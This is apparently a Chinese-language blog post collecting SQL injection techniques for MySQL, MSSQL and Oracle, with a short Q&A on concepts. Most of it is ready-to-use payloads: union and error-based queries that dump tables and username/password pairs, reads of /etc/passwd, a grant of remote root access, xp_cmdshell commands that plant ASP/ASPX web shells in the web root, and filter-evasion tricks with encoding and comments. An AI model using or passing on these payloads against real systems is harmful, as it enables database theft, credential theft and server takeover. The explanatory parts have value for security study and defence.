0
点赞
收藏
分享

微信扫一扫

【最全干货】SQL注入大合集

千行 2021-09-19 阅读 36

SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。

可显注入

攻击者可以直接在当前界面内容中获取想要获得的内容。

报错注入

数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。

盲注

数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。

Mysql 手工注入

insert,delete,update

这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap会产生大量垃圾数据

尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

Oracle 手工注入

SQL手工注入

http://www.xxx.cn/news.php?p=1&id=4' 返回错误

http://www.xxx.cn/news.php?p=1&id=4 and 1=1 返回正确

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 返回错误

字符型注入

url后输入

' and 1=1 and '1'='1

' and 1=2 and '1'='1

http://www.xxx.cn/news.php?p=1&id=4'              返回错误

http://www.xxx.cn/news.php?p=1&id=4' and 1=1 and '1'='1 返回正确

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 and '1'='1 返回错误

搜索型注入

输入框中输入

'                        返回错误

x%' and 1=1 and '%'='    返回正确

x%' and 1=2 and '%'='    返回错误

http://www.xxx.cn/news.php?p=1&id=4 order by 26 返回正确

http://www.xxx.cn/news.php?p=1&id=4 order by 27 返回错误

得出结论:字段数26。

字符型

http://www.xxx.cn/news.php?p=1&id=4' order by 26 #  返回正确

http://www.xxx.cn/news.php?p=1&id=4' order by 27 #   返回错误

得出结论:字段数26。

搜索型

x%' order by 26 #     返回正确

x%' order by 27 #     返回错误

得出结论:字段数26。

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,3,4,5,6,7,8,9,....

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

搜索型

x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

搜索型

x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名'

数据库名也可以使用十六进制

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' #

数据库名也可以使用十六进制

搜索型

X%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='数据库名' #

数据库名也可以使用十六进制

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'

表名也可以使用十六进制

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #

表名也可以使用十六进制

搜索型

x%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #

表名也可以使用十六进制

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

字符型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

搜索型

x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #

显示版本:select version();

显示字符集:select @@character_set_database;

显示数据库show databases;

显示表名:show tables;

显示计算机名:select @@hostname;

显示系统版本:select @@version_compile_os;

显示mysql路径:select @@basedir;

显示数据库路径:select @@datadir;

显示root密码:select User,Password from mysql.user;

开启外连:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

MySQL提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限

SQL语句如下: union select 1,load_file(‘/etc/passwd’),3,4,5 #

通常,一些防注入语句不允许单引号的出现,那么可以使用一下语句绕过:

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

对路径进行16进制转换。

MSSQL手工注入

与SQL注入不同的是,SQL利用的爆出显示的字段,MSSQL利用的报错注入,插入恶意的sql语句,让查询报错,在报出的错误中,显示我们想要的信息。

注入点:

www.xxx.cn/xxx/xxx.aspx?id=1

http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0

注意:“and @@vsersion>0”也可以写成“and 0/@@version>0”

报错信息:

在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。

原因:

@@version是MSSQL的全局变量,如果我们在“?id=1”后面加上“and @@version>0”,那么“and”后面的语句会将“@@version”强制抓换成int类型与0比较大小,但是类型转换失败,所以就将数据库信息暴露出来。

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0

报错信息:

在将 nvarchar 值 ‘master‘ 转换成数据类型 int 时失败。

再爆其他的数据库则这么写:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0

继续的话要这么写:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0)>0

报错信息:

在将 nvarchar 值 ‘depart‘ 转换成数据类型 int 时失败。

再爆其他表:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart'))>0

再继续:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0

报错信息:

在将 nvarchar 值 ‘ID‘ 转换成数据类型 int 时失败。

再爆其他字段:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID'))>0

再继续:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID','NAME'))>0

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0

报错信息:

在将 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 转换成数据类型 int 时失败。

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--

aspx木马:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' --

原理是sql server支持堆叠查询,利用xp_cmdshell可以执行cmd指令,cmd指令中用【echo 内容 > 文件】可以写文件到磁盘里面。

http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐浏览器中的hackbar工具的Encoding底下的“HEX Encoding”轻松把字符串编码成为可以利用的hex,然后利用报错注入就可以注入这个网站。

http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

报错信息:

在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。

注意后面的注入语句:

dEcLaRe @s vArChAr(8000) //声明一个局部变量@s,类型为varchar(8000)

sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //给@s赋值,为“select convert(int,@@version)”的十六进制编码

eXeC(@s) //调用函数exec()执行“@s”中的内容。

SQL注入之你问我答小知识

1.id-1,页面如果返回正确页面说明是有注入,那+1可以吗?(www.test.com/xsn.php?id=12+1)

不行,因为加号在url里面是空格的意思。

2.你知道mysql里有几种注释方式吗?

三种:①.# 这个注释直到该行结束;②./注释多行/;③.–+ 这个注释直到该行结束。

第三种需要解释一下,因为之前我不知道这个方法,说‘–’是注释符我还大概有印象,但是–+就懵。其实是– ,注意–的后面有一个空格。但是在url里你直接空格会被浏览器直接处理掉,就到不了数据库里。所以特意用加号代替。

3.“select select * from admin”可以执行吗?倘若不可以请说明。

不可以执行,在使用select双层的时候要把第二个括起来,否则无效。

4.倘若空格过滤了,你知道有哪些可以绕过吗?或者说你知道哪些可以替代空格吗?这些是空字符。比如un%0aion会被当做union来处理。 假如空格被过滤了,可能的sql语句就会变成:select from messages where uid=45or1=1,我们可以使用//来替换空格: http://www.xxx.com/index.php?id=45//or/**/1=1 另外: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ 都可以替代空格。

5.Windows下的Oracle数据库是什么权限? Windows下的Oracle数据库,必须以system权限运行。

6.SQL注入和SQL盲注有何差别?

在常规的SQL注入中,应用返回数据库中的数据并呈现给你,而在SQL盲注漏洞中,你只能获取分别与注入中的真假条件相对应的两个不同响应,应用会针对真假条件返回不同的值,但是攻击者无法检索查询结果。

7.什么是引发SQL注入漏洞的主要原因?

Web应用未对用户提供的数据进行充分审查和未对输出进行编码是产生问题的主要原因。

8.什么是堆叠查询(stacked query)?

在单个数据库连接中,执行多个查询序列,是否允许堆叠查询是影响能否利用SQL注入漏洞的重要因素之一。

在MYSQL中,SELECT * FROM members; DROP members;是可以执行的,数据库是肯定支持堆叠查询的,但是让php来执行堆叠查询的sql语句就不一定行了。

/*! ... */

是啥意思?

MYSQL数据库特有,如果在注释的开头部分添加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或者等于注释中包含的版本,代码就会被执行。

select 1 /!40119 + 1/

该查询结果:

返回2(MySQL版本为4.01.19或者更高)

返回1(其他情况)

10.如果注入语句中的‘=’被过滤?

可以考虑使用like关键字替换:union select password from users where username like admin;

11.如果空格被过滤? 可以考虑使用‘/**/’替换:

union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/admin;

注意,如果过滤了关键字,在MySQL中,还可以在关键字内部使用内联注释来绕过:

uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin;

12.SQL注入中的‘+’?

MSSQL:在MSSQL中,“+”运算符被用于字符串连接和加法运算,‘1’+‘1’=‘11’,1+1=2;

MySQL:在MySQL中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2;

Oracle:在Oracle中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2。

13.数据库中字符串的连接符?

MSSQL:‘a’+‘b’=‘ab’

MYSQL:‘a’ ‘b’=‘ab’

Oracle:‘a’||‘b’=‘ab’

14.注释符

MSSQL:‘-- ’(注意后面的空格),‘/.../’

MySQL:‘-- ’,‘# ’,‘/.../’,注意,--后面必须要有一个或者多个空格。

Oracle:‘-- ’,‘/.../’

三种数据库中,通用的注释符是‘-- ’

SQL注释符绕过

union/**/select

union/aaaa%01bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

内连注释:/!xxxx/

利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊语法

select{x table_name}from{x information_schema.tables};

http://tool.chinaz.com/Tools/urlencode.aspx 1

绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代  and–>&&、or–>||

绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch

绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

举报

相关推荐

0 条评论